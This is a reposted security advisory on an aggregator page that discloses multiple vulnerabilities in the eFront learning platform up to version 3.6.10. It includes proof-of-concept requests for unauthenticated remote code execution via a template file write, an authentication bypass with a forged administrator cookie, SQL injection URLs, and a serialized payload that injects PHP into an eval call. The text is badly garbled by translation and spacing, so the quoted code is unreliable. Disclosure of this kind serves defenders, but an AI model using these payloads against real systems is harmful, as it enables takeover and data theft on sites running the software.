EFront & lt; = 3.6.10 (build 11944) multiple security defects and repair

Source: Internet
Author: User

 

----------------------------------------------------------------

EFront <= 3.6.10 (build 11944) Multiple Security Vulnerabilities

----------------------------------------------------------------

 

Author: EgiX mail: n0b0d13s [at] gmail [dot] com www.2cto.com

: Http://www.efrontlearning.net/

Test version: 3.6.7-3.6.9-3.6.10

 

+ ----------------------- +

| Remote Code Execution |

+ ----------------------- +

 

The defect code is located in/www/editor/tiny_mce/plugins/save_template/save_template.php.

 

8. if ($ _ POST ['templatename']) {

9. $ dir = '..././content/editor_templates/'. $ _ SESSION ['s _ login'];

10. if (! Is_dir ($ dir )&&! Mkdir ($ dir, 0755 )){

11. throw new Exception (_ COULDNOTCREATEDIRECTORY );

12 .}

13.

14. $ filename = $ dir. '/'.20._post+'templatename'{.'html ';

15. $ templateContent =$ _ POST ['templatecontent'];

16. if (file_exists ($ filename) === false ){

17. $ OK = file_put_contents ($ filename, $ templateContent );

18. chmod ($ filename, 0644 );

 

Input passed through $ _ POST ['templatename'] and $ _ POST ['templatecontent'] isn' t sanitized before being

Used in a call to file_put_contents () at line 17, this can be exploited to write arbitrary PHP code in

A file with. php extension also if magic_quotes_gpc = on. Proof of concept request:

 

POST/efront/www/editor/tiny_mce/plugins/save_template/save_template.php HTTP/1.1

Host: localhost

Content-Length: 60

Content-Type: application/x-www-form-urlencoded

Connection: keep-alive

 

TemplateName = sh. php % 00 & templateContent = <? Php evil_code ();?>

 

Successful exploitation of this vulnerability doesn' t require authentication.

 

+ -------------------------- +

| Illegal File Upload |

+ -------------------------- +

 

The vulnerable code is located in/libraries/filesystem. class. php

 

3143. public static function checkFile ($ name ){

3144. if ($ GLOBALS ['configuration'] ['file _ black_list ']! = ''){

3145. $ blackList = explode (",", $ GLOBALS ['configuration'] ['file _ black_list ']);

3146.} else {

3147. $ blackList = array ();

3148 .}

3149. $ blackList [] = 'php ';

3150. $ extension = pathinfo ($ name, PATHINFO_EXTENSION );

3151. foreach ($ blackList as $ value ){

3152. if ($ extension = trim (mb_strtolower ($ value ))){

3153. throw new EfrontFileException (_ YOUCANNOTUPLOADFILESWITHTHISEXTENSION. ':'. $ extension, EfrontFileException: FILE_IN_BLACK_LIST );

3154 .}

 

The FileSystemTree: uploadFile () method handles all uploads and It uses checkFile () method to verify the extension

Of the uploaded file. Here is compared the uploaded file extension with every extension in the 'file _ black_list 'array,

That is constructed by this default configuration: "php, php3, jsp, asp, cgi, pl, exe, com, bat" and, as you can see, It doesn' t

Contains others dangerous extension like phtml, pwml, php4, php5, inc .. But the really problem is that at line 3152

The uploaded file extension is simply compared with = operator, so an attacker cocould be able to upload for e.g.

Avatar with. PHP extension. This is possible only if 'file _ white_list 'configuration is blank (such as by default ).

 

+ ----------------------------------- +

| SQL Injection in UPDATE statement |

+ ----------------------------------- +

 

First look at the getUserTimeTarget () function defined into/libraries/tools. php

 

2776. function getUserTimeTarget ($ url ){

2777. // return $ _ SESSION ['s _ time_target '];

2778. if (isset ($ _ SESSION ['s _ lessons_ID ']) & $ _ SESSION ['s _ lessons_ID']) {

2779. $ entity = array ($ _ SESSION ['s _ lessons_ID '] => 'leson ');

2780.} else {

2781. $ entity = array (0 => 'system ');

2782 .}

2783. $ urlParts = parse_url ($ url );

2784. $ queryParts = explode ('&', $ urlParts ['query']);

2785. foreach ($ queryParts as $ part ){

2786. $ result = explode ("=", $ part );

2787. switch ($ result [0]) {

2788. case 'view _ unit ':

2789. case 'package _ id': $ entity = array ($ result [1] => 'unit '); break;

2790. default: break;

2791.} www.2cto.com

2792 .}

2793. return $ entity;

2794 .}

 

It parses the given URL, and if in the query string is defined a 'package _ id' variable his content is

Used as a key for the $ entity array. Now look the vulnerable code located in/www/periodic_updater.php

 

32. if ($ _ SESSION ['s _ login ']) {

33. $ entity = getUserTimeTarget ($ _ GET ['HTTP _ referer']);

34. // $ entity = $ _ SESSION ['s _ time_target '];

35. // Update times for this entity

36. $ result = eF_executeNew ("update user_times set time = time + (". time (). "-timestamp_now), timestamp_now =". time ()."

37. where session_expired = 0 and session_custom_identifier = '". $ _ SESSION ['s _ custom_identifier ']. "'and users_LOGIN = '". $ _ SESSION ['s _ login ']. "'

38. and entity = '". current ($ entity)."' and entity_id = '". key ($ entity )."'");

 

Input passed through $ _ GET ['HTTP _ referer'] is passed to getUserTimeTarget () function at line 33 and the return value is

Used in call to eF_executeNew () at line 38. So an attacker cocould request an URL like this to inject arbitrary SQL code:

 

Http: // localhost/efront/www/periodic_updater.php? HTTP_REFERER = http: // host /? Package_ID = [SQL]

 

In older version input is taken from $ _ SERVER ['HTTP _ referer'] instead of $ _ GET ['HTTP _ referer'], but is still vulnerable.

Successful exploitation of this vulnerability requires authentication.

 

+ --------------- +

| SQL Injection |

+ --------------- +

 

The vulnerable code is located in/www/js/LMSFunctions. php

 

13./* These lines read SCO data for this student and pass them to the javascript code through the LMSToSCOValues variable */

14. $ result = eF_getTableData ("scorm_data", "*", "users_LOGIN = '". $ _ SESSION ['s _ login ']. "'AND content_ID = '". $ _ GET ['view _ unit ']. "'");

15. sizeof ($ result )? $ LMSToSCOValues = $ result [0]: $ LMSToSCOValues = array ();

 

Input passed through $ _ GET ['view _ unit '] isn' t properly sanitized before being used in a call

To eF_getTableData () function at line 14, this can be exploited to inject arbitrary SQL code.

Successful exploitation of this vulnerability doesn't require authentication or magic_quotes_gpc = off.

+ --------------- +

| SQL Injection |

+ --------------- +

 

The vulnerable code is located in/www/send_icationications.php

 

69.} else if (isset ($ _ GET ['sent _ icationication_id ']) {

70. $ sent_notification = eF_getTableData ("sent_notifications", "*", "id =". $ _ GET ['sent _ icationication_id ']);

71. if (! Empty ($ sent_notification )){

 

Input passed through $ _ GET ['sent _ icationication_id '] isn' t properly sanitized before being used in

Call to eF_getTableData () function at line 70, this can be exploited to inject arbitrary SQL code.

Successful exploitation of this vulnerability doesn't require authentication or magic_quotes_gpc = off.

 

+ ------------------------------------------------ +

| Authentication Bypass and Privilege Escalation |

+ ------------------------------------------------ +

 

The vulnerable code is located in/www/index. php

 

206. if (isset ($ _ COOKIE ['cookie _ login']) & isset ($ _ cookie ['cookie _ password']) {

207. try {

208. $ user = EfrontUserFactory: factory ($ _ COOKIE ['cookie _ login']);

209. $ user-> login ($ _ COOKIE ['cookie _ password'], true );

 

Input passed through $ _ COOKIE ['cookie _ login'] isn' t properly sanitized before being used

Line 208 to instancate a new user object using EfrontUserFactory: factory () method, this can

Be exploited to bypass authentication and to escalate privilege. Proof concept request:

 

GET/efront/www/index. php HTTP/1.1

Host: localhost

Cookie: cookie_login [login] = admin; cookie_login [active] = 1; cookie_login [user_type] = administrator; cookie_login [password] = 1; cookie_password = 1

Connection: keep-alive

 

+ -------------------- +

| PHP Code Injection |

+ -------------------- +

 

The vulnerable code is located in/www/student. php

 

123. if (isset ($ _ GET ['Course']) | isset ($ _ GET ['from _ course']) {

124. if ($ _ GET ['Course']) {

125. $ course = new EfrontCourse ($ _ GET ['Course']);

126.} else {

127. $ course = new EfrontCourse ($ _ GET ['from _ course']);

128 .}

129. $ eligibility = $ course-> checkRules ($ _ SESSION ['s _ login ']);

 

Input passed through $ _ GET ['Course'] (or $ _ GET ['from _ course']) isn' t properly sanitized before being

Used to instantiate a new EfrontCourse object, this can be exploited to inject and execute arbitrary

PHP code because of EfrontCourse: checkRules () method calleval () function using the 'rules' object's

Property (see/libraries/course. class. php near lines 3638-3645). Successful exploitation of this

Vulnerability requires at least a student account with at least one completed lesson.

Proof of concept request:

 

/Student. php? Lessons_ID = 1 & course [id] = 1 & course [directions_ID] = 1 & course [rules] = a: 1: {s: 19: "1]; phpinfo (); die;/* "; a: 1: {s: 6:" lesson "; I: 0 ;}}

 

 

[-] Conclusion:

 

The latest two vulnerabilities emphasizes a critical design flaw. To understand what I means look

At the constructor method of EfrontEntity (a generic class used as parent for some objects ):

 

64. public function _ construct ($ param ){

65. if (! $ This-> entity ){

66. $ this-> entity = strtolower (str_replace ('efront ', '', get_class ($ this )));

67 .}

68. if (! Is_array ($ param )){

69. if (! EF_checkParameter ($ param, 'id ')){

70. throw new EfrontEntityException (_ INVALIDID. ':'. $ param, EfrontEntityException: INVALID_ID );

71 .}

72. $ result = eF_getTableData ($ this-> entity, "*", "id = $ param ");

73. if (sizeof ($ result) = 0 ){

74. throw new EfrontEntityException (_ ENTITYNOTFOUND. ': '.html specialchars ($ param), EfrontEntityException: ENTITY_NOT_EXIST );

75 .}

76. $ this-> {$ this-> entity} = $ result [0];

77.} else {

78. $ this-> {$ this-> entity} = $ param;

79 .}

80 .}

 

If the $ param variable is an array, It's used to initialize all the object properties and this

Mechanic is used in almost all classes. So everytime in the code will appear something like

 

$ Object = new EfrontObject ($ _ GET ['param']);

 

And $ _ GET ['param'] isn' t properly sanitized, there is an high probability to lead in bugs such

SQL Injection, PHP Code Injection, LFI etc... because an attacker cocould pass parameter in array

Form and so he might be able to change the internal property of the objects with arbitrary data.

So I think that cocould there be some other bugs, for this reason I wocould recommend to the eFront

Developers a complete source code review focused on security.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.